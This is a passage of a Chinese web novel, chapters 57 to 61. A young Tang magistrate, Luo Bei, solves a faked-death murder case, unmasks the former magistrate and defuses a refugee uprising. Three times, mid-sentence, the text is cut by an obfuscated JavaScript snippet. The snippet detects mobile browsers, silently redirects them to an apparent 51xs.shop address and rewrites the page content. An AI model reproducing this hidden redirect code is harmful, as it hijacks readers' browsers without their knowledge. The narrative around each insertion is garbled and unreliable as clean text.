他再醒过来的时候,天光已经大亮,许平蹲在他面前戳了戳他:“喂,乌特兄弟,醒了?我昨天就想问你,你带着弓箭,你的箭法怎么样?” 洛北努力睁开眼睛,他昨晚演戏演得太过投入,把自己眼睛哭得有点肿:“还可以吧。” “这句突厥话我听懂了,就是还可以,是不是?”许平激动道:“我跟你说,县外林子里有几只野狐狸,长得膀大腰圆,皮毛顺滑,咱们不如去把它们猎了,打几张皮子回来补贴家用?” 县外林子就是前任县令的尸首被发现的地方。洛北想了想,点头应允。许平欢欣鼓舞,又叫上几个带着弓箭的男人一道出发。几人约定打回猎物均分,便一道出发了。 林子中晨雾深重,几个人分头去寻找猎物的踪迹。洛北一边寻找,一边踱到了案卷上记载赵县令尸体被发现的地方。那里的树木遮天蔽日,落叶已被踩得很实。 洛北低头掀开几层树叶,终于发现几片树叶上残留的血迹。他把树叶放在鼻尖闻了闻,不禁陷入一片沉思。 “喂!乌特兄弟!你在哪儿干什么呢?”许平一声怒吼,叫醒了洛北的沉思。他感受到一阵阴风扑面而来,几乎下意识就地打了个滚,正躲过了一只扑过来的老狼。 那只狼灰扑扑的,老而干瘦,显然是离群索居,多日不曾进食。此刻被洛北身上沾染的血腥味吸引而来,正小心地打量眼前这个庞大的猎物。 距离太近,弓箭是派不上用场的。洛北丢下弓箭,缓缓拔出了腰间的唐刀,日光之下,狼头的纹样一闪而过。他死死地握紧唐刀,与狼油绿的眼睛对视。 忽而狼的两只前爪在地上一按,纵身往上一扑,力道惊人。洛北不敢正面对其锋芒,忙侧身一滚,才躲开这一扑。 那狼不甘就此止步,腰胯一扭转头又转头向他扑来。 洛北没想到这老狼动作如此敏捷,只得后撤几步,待到脚后跟碰到树干,已是避无可避,眼见狼爪要搭到他的双肩,他反手刺出唐刀,温热的鲜血溅在他脸上。 老狼哀嚎一声,退开在半步开外,忽而夹紧尾巴,全身绷紧,弓背收力,再次往洛北身上扑去,洛北侧身一避,削金断玉的陨铁唐刀在手中挽了半个刀花,斩下了老狼的脑袋。 洛北用手背擦了一把脸上的鲜血,却看到几个同来打猎的青年呆若木鸡地站在林间:“哎,想不想分钱了?” 许平同几个人一道挤过来:“这......这是怎么能做到的?乌特兄弟,你这也太厉害了吧?这这,人说万军不挡之勇,也不过如此了吧?” 几个青年纷纷应和,都说洛北身手矫健,动作果断,实乃生平仅见。 洛北没有答话,只让这几个人把狼料理干净带回去,自己则走向城门的方向。 “你去哪?”许平问他,“你别是真的想要杀孙二报仇吧?” 洛北轻轻一笑:“我确实想为枉死之人报仇,但不是以刺杀这种方式。” 许平放下心来,跟着一众青年走出好远,才像是想起什么似的,猛然回头一看,道路上哪有洛北的影子?他猛拍大腿: “不对,不对,那小子——什么时候汉话说的那么好了?” 58. 第 58 章 洛北回到县衙的时候,吴钩已经快急成了热锅上的蚂蚁,见到他满身灰尘带着血迹,不免被吓了一跳:“公子爷这是做什么去了?怎么搞成这样?可受伤了?” “不是我的血。”洛北言简意赅地回答他,“我去猎了头狼。” 吴钩很难相信他的话:“公子爷不是去流民聚集的地方查找线索了吗?怎么去猎狼了?这.....这到底是怎么回事?” 洛北想了想,还是很难用几句话把事情的来龙去脉讲清楚,干脆转移话题:“吴钩,我有几个差事派你去办。你替我去一趟城中孙二的住处,帮我把他请来,就说有些新的线索,想邀请他前来商谈。等他到了,你再差人贴出告示,并拘来几个之前受审过的流民,就说我要重审此案。还有,派人暗中看住孙二的家。” 吴钩本还要问,被洛北用似笑非笑的眼神一看,只得乖乖低头办差去了。 早衙开启之前,堂下已经挤满了急于一睹新县令风采的鸣沙百姓,不少流民夹杂其中,等待孙大被杀案重审的结果。 洛北换上墨绿织锦官袍,又戴上乌纱帽,三声锣响之后,他缓步走向高台,在案桌后的椅子上坐定。 堂下的许平按捺不住,喊了一声:“乌特兄弟!”还未说出下一句话,便被一边衙役一喝:“收声!不可造次!” 许平只得退了下去,心中却不断地打着鼓,他竟然在新任县令面前发了那么多关于官员们的牢骚,真不知道这位身手极佳的洛县令会怎么处置他。 他正兀自颤抖着,洛北却已一拍惊堂木,宣布升堂。几个流民被押到案前,连孙二一道,双双跪倒在地。 洛北说:“诸位,本官新任,已将此案始末了解清楚。今日便要此案水落石出!如果在场有人不从实招认,就将你们立毙杖下!”他看向两边衙役:“衙役们听了?!” 周围十几名衙役以刑杖触地,高声应和,满堂回声,显得极为吓人。 洛北问流民们:“你们发现尸首的时候,是怎么知道死者就是孙大的?” 流民们七嘴八舌地回答了一遍发现尸首的始末。洛北敲了敲惊堂木,叫他们找一个说得清楚的人来回答,便有一个老人颤颤巍巍地站出来,说:“当时发现尸首的时候,看到尸首身上穿着孙大的衣服,便这么认了。后来,孙二也认了。” 洛北轻轻叹了口气,又问:“你们到底把孙大的头颅藏到了什么地方?!” 那几个流民曾经受过拷掠,被吓得边哭边喊:“我等实在不知,实在不知啊。埋葬尸体的时候,就没有见到头颅。” 洛北见状,对孙二道:“既然他们不知道,那么你一定知道了。直接说出来吧,少受些皮肉之苦。” 孙二没想到这事情还会落到自己头上,闻言大惊失色:“这,这,草民怎么知道兄长的头颅在哪里?草民,草民什么都不知道啊?” “你什么都不知道?”洛北冷笑一声,“你的大哥难道不是你杀的吗?!” 这一声有如惊雷炸响在堂中。百姓之间升起一阵又一阵的嗡嗡声,人们交头接耳,不知道这位年轻的县令如何得出了这个结论。 孙二跪倒在地:“草民不知道这话是从何说起啊,明府怎么能空口白牙地污蔑草民呢?” 洛北问:“你和你大哥逃难至此,身无分文,只有窝棚度日。这些人告诉你,孙大急病而死,你却一定要开棺验尸——开了棺,倘若真的是急病而死,你的棺材钱从哪里来?你定然是早知道尸体上没有头颅,才出此计策。” 孙二哑口无言,愣在当场。 “现在还不肯说么?”洛北从签筒中抽出一只签,又招呼左右,“来啊,给我把这个人按倒重打二十大板,打死勿论!” 这话一出,人人便知道洛北是要动真格的了。孙二已听过这位县令诛杀大鱼的情形,吓得魂飞魄散,战战兢兢:“明府饶命,明府饶命,小人愿意招供,我大哥,我大哥还活着,就在,就在我家里。” 这话又让堂内惊起一片议论。一具无头尸体复活,这可是百年不见的大新闻。洛北不得不敲响惊堂木,才镇住场子,他拨出令牌,命衙役们前往孙家拘捕孙大。 衙役们去了孙家,在孙家的地窖中找到了被藏匿起来的孙大——洛北重审此案的动作太快,孙二还没有来得及将他转移走。 孙大一路被押过街市时,流民们早已将消息传递了回去。人们蜂拥而至,将街道围了个水泄不通,他们有的对孙大指指点点,有的拍手称快,携家带友地前往县衙,想看一下这桩三年前的冤案将如何落幕。 孙大押解到堂之后,洛北将惊堂木一拍,还未将刑具摆出来。孙大和孙二就吓得把事情的始末招了出来。 原来这具无头男尸是一个赶路的客商,路过此地时,天降大雨,便到孙大和孙二的窝棚中避雨。大雨不停,天却渐渐黑了,客商就出了些钱,留下来过夜。 孙大和孙二见这客商家资丰厚,起了歹心。两人合伙将客商杀害,又把尸体换上了孙大的衣服。孙大当晚便借着大雨离开了窝棚,孙二却在第二天借着打猎的机会,与众人一道去了山上。 之后,流民们发现了无头男尸,害怕报告官府引火烧身,便凑了些钱将尸首埋葬,又在孙二回来之后,告诉他孙大已经急病而死。 孙二自然争执着要开棺验尸——这才发现了那具无头尸首。孙二便把一众人告上了县衙。 “杀人夺财,诬告无辜,致人死亡。尔兄弟之罪,真是罪无可恕!”洛北高声道,“根据《永徽疏律》,本官判尔兄弟秋后处斩,枭首示众,并籍没你们的家产,付给无辜流民,补偿他们的损失。” 孙大孙二都瘫倒在地,由衙役们一个个地拖了出去。堂下又响起一片低声议论,十几个流民跪地长叹:“上天有眼!冤屈得报!洛明府英明!洛明府英明!” 洛北让几个衙役把流民们扶起来,又高声说:“本官澄清旧案,就是为了告诉乡亲们,不管之前鸣沙是何情况,倘若有冤仇,一律到县衙来,付诸律法定罪!本官保证给所有人一个公道!” 洛北说罢,一拍惊堂木,宣布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281680|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退堂,把一干百姓留在那里。 他退到二堂,摘下乌纱帽,顾县丞忙迎了上来:“这,这,洛明府真是神乎其技.......您是怎么发现此案有疑点的?” 洛北轻轻一笑:“一个很简单的问题,流民们已经有人认了死罪,扣住这个头颅有什么意义?只会让自己徒增刑罚而已。” 顾县丞叹了口气:“前任赵县令还以为是流民冥顽不灵,下令重重拷打了一番。” 洛北敛容正色道:“这也是我要说的事,前任县令滥用刑罚,导致无辜之人惨死公堂和狱中。这样的事情我绝不允许再发生。” 顾县丞忙喏喏应了。洛北回到书斋中,想要继续研究赵县令的命案。他将旧案的卷宗整理一番,却发现卷宗上都蒙上了一层细细的灰尘。他望了一眼窗边,那扇受损的窗户依旧在风中摇曳着。 洛北叹了口气,心知是窗户撞击墙壁,让屋子房梁上的灰尘震落了下来。他喊了一声顾县丞,走进来的却是吴钩: “公子爷,街上可都传遍了,说公子爷是神人下凡,专门来为鸣沙排忧解难的。” 洛北哈哈一笑:“神人下凡也需要有人襄助啊,做得好啊,要不是你看住了孙大,这一出戏绝没有这样圆满。” 吴钩也大笑起来:“公子也不必太谦。对了,不知道你那猎狼的故事,可否和我详细说说了?” 洛北没想到他在这里等着自己,只得拍了拍脑袋:“吴钩,我突然想起还有一件公务要交待你去办.......” 吴钩本来一脸戏谑,越听越凝重:“不行,这太危险了!这,我怎么能.......” “危险也只能这么办。”洛北摆了摆手,没有让他继续说下去,“万一打草惊蛇,后果不堪设想。” 吴钩叹了口气,向他道了个礼,就退了出去。 洛北找了个下人把顾县丞请到书斋:“顾县丞,我有个请求,这书斋的窗户已经坏的不成样子了,可否派个人来修一修?” 顾县丞点了点头:“是,是。上次修葺的时候,县衙中还有些地方尚且完好,我们便遗漏了过去。属下这就派人来修。” “既然如此,你将上次修葺的记录寻来给我一份。”洛北想了想府库中那干净得能照见人影的地板,不免叹了口气,“我怕是只能避开那些未修缮的地方居住了。” “说到这里,我正好想禀告明府。自明府未到任以来,县中名流纷纷递了帖子,为明府接风洗尘。今日堂上过后,这样的人越来越多。明府可要挑个时日和这些人见上一见?”顾县丞恭敬地从袖中掏出一沓名帖,递到洛北手上。 洛北就是再不喜欢应酬,这样的场合也是逃不过去的:“好吧,三日之后,等吴主簿回来,便由我做东,宴请他们一次吧。” “吴主簿出去了?”顾县丞这才反应过来。 “是,关于前任赵县令被杀的案子,我已经有了眉目,只是还有些细节,要看了赵县令的档案才知道,所以我派遣吴主簿去州府询问。怎么,顾县丞有事情要找他?” 59. 第 59 章 顾县丞连连摆手:“不,不,没有,没有。我是看着吴主簿账务老练,想要同他讨教一番。既然明府有要事交待他,还是以公务为重。” 洛北点了点头,接下来的几日,他和顾县丞一道清点给百姓授田的事宜,又整理县内一应文书和各类杂务。 第三日夜晚,洛北将最后一本地图和鱼鳞册整理完毕,交由顾县丞封入库中,这才算是把事务梳理清楚。他走到窗边点了一支清香,又开了窗散散屋中的浊气。 顾县丞走进来时,看到的便是洛北立在一片烟雾缭绕之中的情景:“明府好闲情呐,怎么还把香点上了?” “档案摆得太多,屋子里浊气重,就点支香散一散。顾县丞,你觉得这味道怎么样?” 顾县丞闭上眼睛仔细闻了一闻:“这香中有丁香、檀香、甘松、零陵香、龙脑……还有茴香。这闻起来嘛,木香和药香兼具。这应当是‘荀令十里香’的配方吧?明府是与此香相得益彰。” 洛北笑了笑:“我只是随意点来散味道,没想这么多,倒是你对香道颇有心得。” “称不上,称不上。自娱自乐罢了,赵县令才是个中高手呢,我曾经亲眼见他调香制香,他制作的香丸,半年味道都不散。”顾县丞恭敬道,“明府,外头派人来催了,咱们是不是该赴宴了?” 洛北看了一眼天色:“是,没注意时间,天都黑了,是该赴宴。对了,吴钩还没回来吗?” “许是吴主簿路上耽搁了。要不咱们把宴会推迟一日?”顾县丞问。 洛北自然不会为了一个主簿随意推迟和一众大户的宴会:“无妨,我去换件衣服就去。” 为着摆出赴宴的排场,洛北换了件有斑斓银边的月白暗纹锦袍,又戴了只玉冠,结果这么一收拾,便耽误了工夫,他到酒宴上时,已经是高朋满座。 主桌这边坐的是里长们、几位来往颇多的胡人大商人、当地世家的家主。各行会的会长只能勉强挤在外间。 洛北与他们一一碰杯,说了几句劝勉的话。随后便是没完没了的宴饮和歌舞。几个胡商兴致颇高,甚至亲自下场跳了一场胡旋。 等洛北被下仆架出酒楼的时候,他已经醉得人事不省,几乎是晕在马车上回的县衙。顾县丞已在门口望穿了眼:“明府?明府?怎么让明府醉成这样?” “听说,明府在宴上找这些大户募了些银两安置流民。”下仆结结巴巴地回答,“几个大户答应得爽快,明府就多喝了几杯。” 他们几个人才把洛北抬到书斋的矮榻上。顾县丞看了一眼洛北:“明府年轻,却一心勤劳公事,实在是让我等钦佩。你替明府煮些醒酒汤来,免得他明天起来头疼。” 下仆们低声喏喏而去,顾县丞又往榻上望了一眼,洛北睡得正沉,蝶翼一样的睫毛在灯火的照耀下投下晦暗不明的阴影。他喊了两声洛北的名字,依旧无人应答。 顾县丞咬了咬牙,从腰间掏出一把匕首,抬手向洛北胸口刺去。 正在这时,洛北陡然睁眼,双眸灿如流金,没有一点醉意。顾县丞一惊,手腕已经被洛北拿住,“咔啦”一声,那半只臂膀被洛北卸了下来。 顾县丞痛得跪倒在地上,一双眼睛却看向洛北:“你,你是装醉?!” “这点酒就想拿住我,恐怕也把我看得太轻了。”洛北好整以暇地理了理袍服,坐回榻上,“在你的同伙到来之前,你还有一点时间可以为自己争取个从轻发落,赵、县、令。” 那假扮“顾县丞”的赵县令连手臂的痛也顾不上了:“你怎么,你怎么.......” “赵县令,从我走进这鸣沙县衙的那一刻起,我的一举一动都在你们的监视之下。为了让我相信‘赵县令死于野兽’的假象,你们甚至在县外的林中放了一只饥肠辘辘的野狼,真是煞费苦心。” 洛北冷笑一声:“可就是这只野狼让我起了疑心,须知狼素来群居,便是有狼脱离队伍,也绝不会到人烟密集之处来送死。” “百密一疏......”赵县令也不看洛北,兀自低头,哀叹了几声。 “这一个破绽,让我开始怀疑‘赵县令死于野兽’的这个结论,于是我掀开了尸体发现之地的落叶,发现那血迹太过整齐,根本不是野兽撕咬出来的。我断定是有人伪造了现场。然后我就问自己一个问题,掩盖现场,有很多方式,为什么凶手一定要用野兽撕咬呢?” 他自问自答:“答案很简单,就和无头男尸的那个案子一样,为了掩盖死者的身份。” “所以今天你特意点起香来,目的是为了试探我。”赵县令一锤地板,“可笑我竟然真的觉得你是为了驱散屋中的浊气!” 洛北敲了敲榻边,打断了他的自怨自艾:“既然你的诡计都已经拆穿,现在回答我的问题,你的幕后主使是谁?府库里的银子又去了哪里?” 赵县令瘫倒在地,笑得如同疯癫:“洛北,事情到了这样的地步,你还觉得我能保住自己的性命吗?我的手上可沾了不止一条人命!”他抓住洛北袍服的下摆,“你放心,我一定抓着你,和你一起下地狱!” 洛北从他手中抽出自己的衣裳,大步走到二堂中呼喊来人。但空荡荡的县衙里只有他的声音回荡,什么人都没有出现。 赵县令在他身后,摇摇晃晃地走了出来:“洛北,你是聪明人,但你也不要把别人都当成傻子。我在鸣沙待了三年,年年政绩都是中等——你当我真的什么都没做吗?这些当地的衙役和吏员或许不恨你,但他们厌恶变动,没有人会支持你的,也没有人会来救你。” 他说话之间,外间闯进来一个穿得破破烂烂的流民,正是许平。许平打着火把,一路狂奔,见他一个人站在二堂中央,脸上又焦急了几分:“乌.......洛明府,您老怎么还在这儿?” “发生什么了?”洛北问。 “流民,流民要攻打县衙了!”许平大口大口地喘着粗气,“不知道从哪里来的消息,说你要率兵清剿流民,附近的几个县都聚集在了一起,要攻打县衙。” “流民已经进城了?”洛北转头问赵县令,问到一半,又自嘲似的笑笑,“不错,城门上肯定有你们的人,你刚刚又和我说了那么多,就是为了拖延时间。” 赵县令哈哈大笑起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281681|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“在你的任上酿出民变,就算李贞保你,你还能活得了吗?洛明府,我早就说了,你会和我一道下地狱。” 他笑得越发猖狂,洛北从阶下拾起一枚石子,反手一挥,正中赵县令喉管。 赵县令的声音立刻嘶哑了,脸上的表情却依旧在笑,他就这样笑着,直直地倒了下去。 “明府......”许平试探性地问了一句洛北。 “他不会死的。等民变平息,我要用律法给他定罪。”洛北看向许平,“你是来给我报信的?如今信已经送到,你快走吧。这些流民衣不蔽体,食不果腹,突然聚集在一起,不知道能做出什么样的祸事来。” 许平深深叹了口气:“洛明府,咱们鸣沙的穷棒子是你帮忙平反了冤案,还有了地方住,有了粮食吃。我们不是忘本的人。我来了,还有十几个血性汉子一道来,我们拼了命不要,也会送你平安出城。” “民变在即,我这个当父母官的如果只会逃跑,还配当大唐的官员吗?”洛北理了理身上的袍服,“我要出去看看。” 许平知道劝不住他,只得替他打着灯,一路到了县衙大堂之前。鸣沙本地的十来个流民正围在大门前,一边推一边劝:“洛明府是个好人,绝不会动不动就随意杀人,你们都被骗了!被骗了!” “说他不会随意杀人,可是你们鸣沙的衙役踩了我的田,烧了我的家,他不是要杀人,是要干什么?!都说官官相护,你们穷人怎么也帮着当官的说话?” “不是我们给他说话,是他给我们分了粮食.......洛明府真是个好人.......” 吵吵嚷嚷,推推搡搡被县衙大门开启的沉重吱呀声压入一片平静。灯火通明的公堂上走下来一个一身月白的青年,在黑夜之中显得分外显眼。流民们为他的气势所慑,不敢说话,只看着他一步一步走到鸣冤鼓前,重重一敲。 鼓声如雷,惊得在场的众人不由得退了一步,领头的几个鸣沙流民忙抓住机会,把他们挤到了阶下。 洛北站在公堂之外,高声道:“本朝律例,攻击县衙等同谋反,你们是要谋反吗?!” 人群中有人高声回答:“我们不想谋反,我们只想活命,你为什么不给我们活命!” 一时之间,人人七嘴八舌地又议论起来。洛北又重重敲了一下鸣冤鼓,才让众人安定下来:“今日本官在县中闭门整理授田之事,并未发布任何命令。如有衙役徇私枉法,本官会一一按律处置。” “我们凭什么相信你?!”又有人高声喝问。 “就凭我一到鸣沙,就诛灭河中凶兽,平反昔年冤案。凭我在授田的地图上划出了给流民的田地——”他高声招呼道:“抬出来!” 许平同几个壮汉抬出一副两人多高的地图,走到一众流民面前。火把一照,照得地图上田地划分分外清楚。洛北花了银钱,从城中大户手中买了一批田地,分给流民。 流民们一传十,十传百,声音渐渐地都静下去了。忽而又有人在人群中喊道:“不,他一定是在说谎诓骗我们,等我们走了之后,秋后算账,这是他们当官的老套路了!” 60. 第 60 章 此人话音刚落,一支羽箭飞来,正钉在此人两眉之间,他当场倒了下去,吓得一堆流民不敢再发声。胆大的人偷偷张望羽箭飞来的方向: 不知何时,那里已经停着一队骑着高头大马,手持弓箭的队伍。 为首者器宇轩昂,身着窄袖锦袍,正是留守吐谷浑的阴山安乐王慕容宣彻。在他的身边,俨然是鸣沙主簿吴钩。 “想清楚,你们聚集围攻县衙,是谋逆叛乱,罪无可赦,只要本官挥一挥手,你们会立刻命丧黄泉。” 洛北厉声喝道:“本官没有必要秋后算账!现在,想要分田的,放下武器,排成序列,到吴主簿那里登记。负隅顽抗者,格杀勿论!” 流民们呆呆的,不知怎么反应,站在前列的一个鸣沙县流民骤然伸手,打掉了前排流民手中的棍棒: “喂!分田给你还不想要?” 啪嗒一声,排在前列的几个流民放下了手中的棍棒,而后便是更多的声音。流民们排成序列,一一到吴钩那里登记。 一场民变,消弭无形之间。洛北退回公堂之上,看到许平还愣在那里,不免笑道:“你还站着做什么?要是去得太晚,怕只剩下些犄角旮旯里的田地可分了。” 被他这样一说,许平才反应过来,他眼中已有泪花,走到洛北身边,犹豫了很久才问:“我们被那些世家大族抢去了土地,其他各县都嫌我们是祸害,为什么你对我们这么好?” 洛北说:“太宗皇帝曾有训示,民如水,朝廷如舟,水可载舟,亦可覆舟。我身为鸣沙县令,抚慰百姓,是我职责所在,不分什么大户小家,也不分户民流民。” 许平盯着眼前这位年轻的县令,两道眼泪再也忍不住流了下来:“洛明府,我活了二十八年,才遇到你这么一位真正的父母官……倘若您不嫌弃我只是个目不识丁的穷棒子,我愿追随明府,万死无悔!” 洛北轻轻叹息一声,伸手把他扶了起来:“好啊,我任命你为新的县衙都头。你上任第一件事,就是带着你的兄弟们去拘捕那些枉法的衙役!” 许平低声应了:“我一定替明府办好!” 他说着又要跪倒,洛北忙拦住他,拨了令牌让他去抓人。自己则腾出手去拜见慕容宣彻:“下官鸣沙县令洛北,见过阴山安乐王。” 慕容宣彻从马上跳了下来,一把握住他的手:“洛公子还是叫我宣彻王子听得亲切。你对我吐谷浑部族恩重如山,何须如此大礼?”他带着洛北向身后的骑队走去:“吴主簿说你可能有危险,我就马不停蹄地来了。顺便把你的骑队给带来。” “不敢。宣彻王子抬爱了。”洛北忙道不敢,又扫了一眼他身后的骑队,“我的骑队?一共有多少人?” 慕容宣彻笑道:“二十八个,其中十八人是吴主簿在各地招募的,有汉人、突厥人、吐蕃人,还有十人是我在部族好手中挑出来送给你的。” 洛北为难道:“宣彻王子的好意,我心领了,只是……鸣沙府库的家底恐怕供不起这么多骑兵。” 训练骑兵,不是有了骑射好手就可以,弓箭、马具、马匹、铠甲……哪个不要花大价钱。洛北这个初任的县令,买地的钱都是酒桌上找大户富商们化缘来的,现在也是巧妇难为无米之炊。 “谁说要鸣沙县出钱了?”慕容宣彻摇了摇手指,“你救我叔侄性命,替我们平息动乱,还替我们在谈判中争取到了半个吐谷浑故地。我们吐谷浑人不会忘恩负义。这二十八个人的开支,我替你出了!” 洛北哪敢让他出钱:“宣彻王子……这可使不得,为人臣子者本就不该有私兵,更何况是由地方部族首领出钱供养!要是被朝中御史知道了,恐怕要以勾结叛乱参我们一本。” “洛公子,难道我身为本蕃留守,朝廷郡王,不能有护卫?”慕容宣彻问。 洛北猜到了他的意思:“这……朝廷当然不能干涉宣彻王子招募护卫。” “这不就得了,我来到鸣沙,与洛明府一见如故,眼见鸣沙忧患四起,便把自己的护卫队借给了洛明府。”慕容宣彻一本正经地道。 洛北叹了口气,他知道大唐需要吐谷浑部族在吐蕃前线卖命,自然会对吐谷浑部族的首领分外优容。他眼下事情太多,也只有应下:“那我就谢过宣彻王子了。” 慕容宣彻摆了摆手:“你我之间,不要言谢,不过我还有件事情要提醒你……” 洛北已知道了他要说的话:“我在鸣沙县中搞出这么大的阵仗,却不知会沙吒忠义一声,一定会引起他的不满,是不是?” 慕容宣彻拍了拍他的肩:“我和这位沙吒忠义将军打过好几次交道,他治军还算严明,但为人骄傲,有些刚愎自用的毛病。你若是需要我救场……我就在鸣沙县外三十里的河滩上驻扎。” “那我就谢过宣彻王子了。” 洛北送走慕容宣彻,又将一干犯法的衙役押入大牢后,天色已经快亮了。 吴钩替最后一个人登记完鱼鳞册,直起腰,活动了几下筋骨,已感到一双有力的手在他的肩颈上揉搓了几下,慌得立马起了身:“公子爷,这可使不得。” “这有什么使不得。”洛北替他按了一阵,才坐在了他身边的台阶上,“这一千两百多人都得到妥善安置,没有你这样的账务高手,是绝对干不成的。何况,你日后劳累的日子还多着呢。” 吴钩兴致勃勃:“公子爷是有事情要交给属下?” 洛北说:“这些流民中,有的之前是牧民,所以要麻烦你多往田上跑一跑,选拔出一批种粮好手,让这些人分散到各处田地去指导他们耕地。” 吴钩顿了一顿,才低下头:“公子爷心细如发。你放心,这样利国利民的大好事,我一定尽心去做。” 洛北点了点头,向后靠在了台阶上,他的大脑还在转动,四肢百骸却沉重得要命,眼皮也重得抬不起来,终于在台阶上陷入了一片黑甜的梦乡之中。 他醒来的时候,日头已经到了正午。吴钩端了碗羊杂汤给他:“公子爷到底几天没睡好觉了?怎么能直接在台阶上就睡着了?还是许都头和我一道给你抬回来的。” 洛北接过他手上的羊杂汤喝了一口,只觉得味道咸鲜,极为可口,冲淡了他头疼欲裂的感觉。他揉了揉额角:“从我五天前到鸣沙县赴任,就没睡过几个完整觉。” 吴钩叹了口气,心里暗自盘算起要不要让长安的裴伷先写封信来劝一劝这头倔驴,免得他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281682|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大展鸿图之前先把自己累垮。外间却传来一阵吵嚷声: “这是县衙重地,不许外人擅闯!” “他奶奶的,鸣沙还没有我不能闯的地界!叫你们那个县令给老子滚出来!” “不可如此,喂,请问新任县令在不在,我家将军有事寻他。” …… 吴钩皱起眉:“沙吒忠义未免也太骄纵了,怎么能派人直接闯进来?” “他如今是灵武道大总管,可以奉旨提调灵武道一切军政要务,灵州刺史李贞他都不放在眼里,何况我一个小小的县令。”洛北也顾不上休息了,“既然已经来了,那这个军营是不去也得去了。你派人知会宣彻王子一声,就说沙吒忠义将军请我去做客了。” 洛北换了墨绿织锦的官服,来到花厅之中,一个士兵早等得不耐烦,低声和旁边副将模样的胡人青年抱怨起来:“之前哪任县令到任,不是头一个先来面见将军,偏就这个托大,非得要咱们来请不可……” 副将不答话,只拿着茶杯在手中慢慢地转,想来他虽然碍于身份,不会直接开口指摘洛北什么,心里也确实觉得这位新县令不识抬举。 洛北迈步进了花厅,躬身道礼:“请两位将军恕我不恭之罪。” 他这样客气,两个人自然不能多说什么。副将开口道:“明府新任,我家将军特请明府往军中相会。还请明府……洛将军?!” 他这一惊,洛北才认出眼前这个着锦袍,挎宝刀的英武青年正是当年玉门关外刺杀斛瑟罗的那个亡命之徒: “哥舒亶?” “是。”哥舒亶抱拳道礼,“瓜州城外一别三年,不想能在鸣沙见到您……洛将军怎么到了鸣沙来任县令?” 洛北轻轻一笑:“一言难尽呐,我是由前任灵武道大总管姚崇举荐去了长安,担任兵部职方员外郎,后来又蒙圣恩参加与吐蕃和议。” 吐蕃和议是朝中大事,哥舒亶也曾听过:“我听说大唐逼吐蕃吐出了半个吐谷浑故地,便想着此议必有谙熟边事的人参与,却没想到是洛将军。可您既有大功于朝,怎么被贬到这塞外之地来了?” 他顿了顿,似乎反应过来什么似的:“想是开罪了朝中贵胄?” “不错,我得罪了梁王武三思。” 这三个字一出,连哥舒亶也不免叹气,武三思在朝中为所欲为,连他在塞外也有听闻: “我听说梁王将五王挤出朝廷之后,大权独揽,还说他提拔官员,不看忠奸,只看官员对他是不是忠诚,真是把大唐的天下当成自己的了。” 洛北看他神情激烈,不由得一笑,三年过去,哥舒亶怎么还这般直率血性?若是在长安城里,就他刚刚的两句话,武三思就能要了他的脑袋:“看你如今模样,应当已在赤水军中做了军官?” 哥舒亶笑道:“不错。自我到赤水军以来,屡建战功,蒙姚相公和沙吒忠义将军拔擢,如今我已经是赤水军兵马使。” 赤水军兵马使是中层军官,司掌军府兵丁,是颇有实权的官职,可见哥舒亶在沙吒忠义心中何其得力。 “如今可是我要尊称一声哥舒将军了。”洛北笑道,“将军登门造访,可是沙吒将军有什么见教?” 61. 第 61 章 哥舒亶不好意思地低头笑了,沙吒忠义哪有什么见教,不过是看洛北这位新任的县令不顺眼,要治一治他罢了: “沙吒将军不了解明府的为人,和你有些误会。所以派我来请。我这就向沙吒将军回报,明府暂且休息,等我消息再去拜见他不迟。” 洛北摆了摆手:“无妨,我正好有些事情要与沙吒将军商议,与你同去吧。” 沙吒忠义早就想好了,等洛北一来,就要把洛北晾在军营外面站个半日,让他吃一吃新兵的苦,好叫这位新任的县官见识见识他的威力。 但哥舒亶出面求情,又说洛北就是昔日郭元振麾下那个“孤骑出玉门”的洛将军,沙吒忠义才改口,叫洛北即刻入营觐见。 营帐中将领齐聚,各个身着盔甲,刀剑生辉,一脸肃杀。洛北走入帐中的时候,沙吒忠义正在处置一个犯罪的将士。 他双目有如喷火一般地怒视着跪倒在地的犯人:“军情如火!这样大的事情你竟敢隐瞒不报,眼中还有我这个大帅吗?!来人,将此人拖出帐外,军法从事!” 犯人已被拷打过,浑身是伤,被两个军士架着如死狗一般拖出了帐外。洛北目光在他身上一过,又抬头看向了端坐帐中的沙吒忠义。 这位百济族名将已经年过半百,头发白得有如霜雪,胡子倒还有一半是黑的,影绰绰地挂在他的下颌上,遮住了他厚重的双下巴,昔年让契丹人闻风丧胆的双手不知是因为愤怒还是别的什么轻微地颤抖着: “事发突然,没有惊扰到你吧?” 